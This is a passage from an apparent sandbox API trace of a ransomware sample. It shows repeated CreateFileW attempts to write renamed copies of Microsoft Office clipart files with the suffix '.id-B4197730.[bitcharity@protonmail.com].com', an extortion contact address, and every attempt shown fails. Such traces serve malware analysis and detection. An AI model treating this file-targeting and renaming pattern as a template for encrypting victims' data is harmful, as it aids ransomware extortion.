liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294989.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0294989.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.501] CloseHandle (hObject=0x11d0) returned 1 [0255.502] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.502] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0294991.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.502] CloseHandle (hObject=0x11d0) returned 1 [0255.504] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.504] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0295069.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0295069.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.505] CloseHandle (hObject=0x11d0) returned 1 [0255.507] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.507] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296277.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296277.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.508] CloseHandle (hObject=0x126c) returned 1 [0255.509] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.509] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296279.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296279.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.509] CloseHandle (hObject=0x126c) returned 1 [0255.510] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.511] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296288.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.511] CloseHandle (hObject=0x126c) returned 1 [0255.513] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.513] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297229.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297229.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.513] CloseHandle (hObject=0x126c) returned 1 [0255.515] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.515] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297269.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297269.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.516] CloseHandle (hObject=0x126c) returned 1 [0255.517] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.517] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297725.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297725.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.517] CloseHandle (hObject=0x126c) returned 1 [0255.521] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.521] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297727.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.522] CloseHandle (hObject=0x126c) returned 1 [0255.527] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.527] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297757.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297757.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.527] CloseHandle (hObject=0x11d0) returned 1 [0255.529] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.529] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297759.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.530] CloseHandle (hObject=0x11d0) returned 1 [0255.531] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.531] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0300862.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0300862.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.532] CloseHandle (hObject=0x11d0) returned 1 [0255.534] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.534] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301044.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.535] CloseHandle (hObject=0x11d0) returned 1 [0255.536] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.537] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301052.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301052.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.537] CloseHandle (hObject=0x11d0) returned 1 [0255.538] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.538] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301418.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.902] CloseHandle (hObject=0x11d0) returned 1 [0255.903] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.904] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382927.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.904] CloseHandle (hObject=0x11d0) returned 1 [0255.906] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.906] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382930.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382930.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.906] CloseHandle (hObject=0x11d0) returned 1 [0255.908] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.908] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382931.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.909] CloseHandle (hObject=0x11d0) returned 1 [0255.916] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.916] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382938.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.945] CloseHandle (hObject=0x11d0) returned 1 [0255.947] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.947] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382939.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.948] CloseHandle (hObject=0x11d0) returned 1 [0255.952] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.952] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382942.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382942.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.953] CloseHandle (hObject=0x11d0) returned 1 [0255.954] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.954] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382944.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.954] CloseHandle (hObject=0x11d0) returned 1 [0255.956] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.956] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382947.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.956] CloseHandle (hObject=0x11d0) returned 1 [0255.957] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.957] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382948.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.958] CloseHandle (hObject=0x11d0) returned 1 [0255.959] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.959] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382950.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382950.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.959] CloseHandle (hObject=0x11d0) returned 1 [0255.960] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.960] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382952.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.961] CloseHandle (hObject=0x11d0) returned 1 [0255.964] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.964] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382954.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382954.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.964] CloseHandle (hObject=0x11d0) returned 1 [0255.968] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.968] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382955.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382955.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.969] CloseHandle (hObject=0x11d0) returned 1 [0255.971] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.971] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382957.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382957.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.971] CloseHandle (hObject=0x11d0) returned 1 [0255.972] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.972] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382958.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.972] CloseHandle (hObject=0x11d0) returned 1 [0255.974] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.974] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382959.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382959.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.974] CloseHandle (hObject=0x11d0) returned 1 [0255.976] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.976] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 